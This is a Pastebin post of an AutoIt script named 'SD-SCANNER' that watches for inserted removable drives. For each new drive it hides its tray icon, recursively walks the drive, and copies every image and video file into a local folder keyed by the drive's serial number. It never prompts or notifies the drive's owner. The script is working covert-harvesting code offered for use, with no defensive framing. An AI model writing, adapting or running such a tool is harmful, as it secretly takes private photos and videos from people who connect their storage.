Pirate-inc

SD-SCANNER

Jun 30th, 2012
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 2.43 KB | None | 0 0
  1. OPT ("MUSTDECLAREVARS",1)
  2. OPT ("TRAYMENUMODE", 3)
  3.  
  4. TRAYSETICON ("SHELL32.DLL",13)
  5.  
  6. #INCLUDE <FILE.AU3>
  7.  
  8.  
  9.  
  10. DIM $FOLDERS_NAMES[1]
  11. LOCAL $FOLDERS_COUNTS = 0 ,$COUNTER = 0,$DRIVERS = 0,$ROOT_DRIVERS_SERIAL = "",$DRIVERS_SERIAL
  12.  
  13. TRAYCREATEITEM ("")
  14. LOCAL $EXIT = TRAYCREATEITEM ("SD-exit")
  15.  
  16. FUNC __FOLDERSPEARIDUNG ($ROOT)
  17.  
  18. TRAYSETSTATE (2)
  19. $FOLDERS_NAMES[UBOUND($FOLDERS_NAMES)-1] = $ROOT
  20. REDIM $FOLDERS_NAMES[UBOUND($FOLDERS_NAMES)+1]
  21. $FOLDERS_COUNTS += 1
  22.  
  23. DO
  24.     CALL ("__GETSUBFOLDERS",$FOLDERS_NAMES[$COUNTER])
  25.     CALL ("__DOEASHFOLDERS",$FOLDERS_NAMES[$COUNTER])
  26.     $COUNTER += 1
  27.     SLEEP (1)
  28. UNTIL $FOLDERS_COUNTS -1 < $COUNTER
  29. TRAYSETSTATE (1)
  30. ENDFUNC
  31.  
  32. FUNC __GETSUBFOLDERS ($PATH)
  33.  
  34. LOCAL $H_SEARCH,$FOLDER_NAME
  35.  
  36. $H_SEARCH = FILEFINDFIRSTFILE($PATH&"\*")
  37. DO
  38.     $FOLDER_NAME = FILEFINDNEXTFILE($H_SEARCH)
  39.     IF  NOT @ERROR AND STRINGINSTR (FILEGETATTRIB ($PATH&"\"&$FOLDER_NAME),"D") AND $PATH <> "" THEN
  40.         $FOLDERS_NAMES[$FOLDERS_COUNTS] = ($PATH&"\"&$FOLDER_NAME)
  41.         $FOLDERS_COUNTS += 1
  42.         REDIM $FOLDERS_NAMES[$FOLDERS_COUNTS+1]
  43.     ENDIF
  44. UNTIL @ERROR
  45. FILECLOSE($H_SEARCH)
  46. ENDFUNC
  47.  
  48.  
  49. FUNC __DOEASHFOLDERS ($PATH)
  50.  
  51.  
  52. LOCAL $H_SEARCH,$FILE_NAME,$FILE_TYPE = STRINGSPLIT (".JPEG|.JPG|.GIF|.PNG|.BMP|.3GP|.MP4","|")
  53. LOCAL $SZPATH,$SZDRIVE,$SZDIR,$SZFNAME,$SZEXT
  54.  
  55. $H_SEARCH = FILEFINDFIRSTFILE ($PATH&"\*")
  56.  
  57. DO
  58. $FILE_NAME = FILEFINDNEXTFILE ($H_SEARCH)
  59. _PATHSPLIT ($PATH&"\"&$FILE_NAME,$SZDRIVE,$SZDIR,$SZFNAME,$SZEXT)
  60. FOR $I= 1 TO $FILE_TYPE[0] STEP 1
  61.     IF STRINGUPPER ($SZEXT) =  $FILE_TYPE [$I] THEN
  62.        FILECOPY ($PATH&"\"&$FILE_NAME,@SCRIPTDIR&"\SD-scanner\"&$DRIVERS_SERIAL&$SZDIR&"\"&$FILE_NAME,8)
  63.        EXITLOOP
  64.     ENDIF
  65. NEXT
  66.  
  67. SLEEP (1)
  68. UNTIL $FILE_NAME = ""
  69. FILECLOSE ($H_SEARCH)
  70.  
  71. ENDFUNC
  72.  
  73. WHILE 1
  74.     LOCAL $MSG = TRAYGETMSG ()
  75.     CALL ("__NEW_DRIVE")
  76.     SELECT
  77.         CASE $MSG = $EXIT
  78.             EXITLOOP
  79.         CASE $MSG = 0
  80.             CONTINUELOOP
  81.     ENDSELECT
  82. WEND
  83.  
  84.  
  85. FUNC __NEW_DRIVE ()
  86.  
  87. LOCAL $RESULT,$ROOT_DRIVERS
  88. $ROOT_DRIVERS = DRIVEGETDRIVE ("REMOVABLE")
  89.  
  90. IF  @ERROR THEN RETURN FALSE
  91. FOR $I = 1 TO $ROOT_DRIVERS [0] STEP 1
  92.     $DRIVERS_SERIAL = DRIVEGETSERIAL ($ROOT_DRIVERS [$I]&"\")
  93.     $RESULT = STRINGINSTR ($ROOT_DRIVERS_SERIAL,$DRIVERS_SERIAL)
  94.     IF  $RESULT = 0 AND ($DRIVERS_SERIAL <> @ERROR OR NOT FILEEXISTS (@SCRIPTDIR&"\SD-scanner\"&$DRIVERS_SERIAL)) THEN
  95.         $ROOT_DRIVERS_SERIAL &= $DRIVERS_SERIAL&"|"
  96.         CALL ("__FOLDERSPEARIDUNG",$ROOT_DRIVERS [$I])
  97.    ENDIF
  98. NEXT
  99.  
  100. ENDFUNC
Advertisement
Add Comment
Please, Sign In to add comment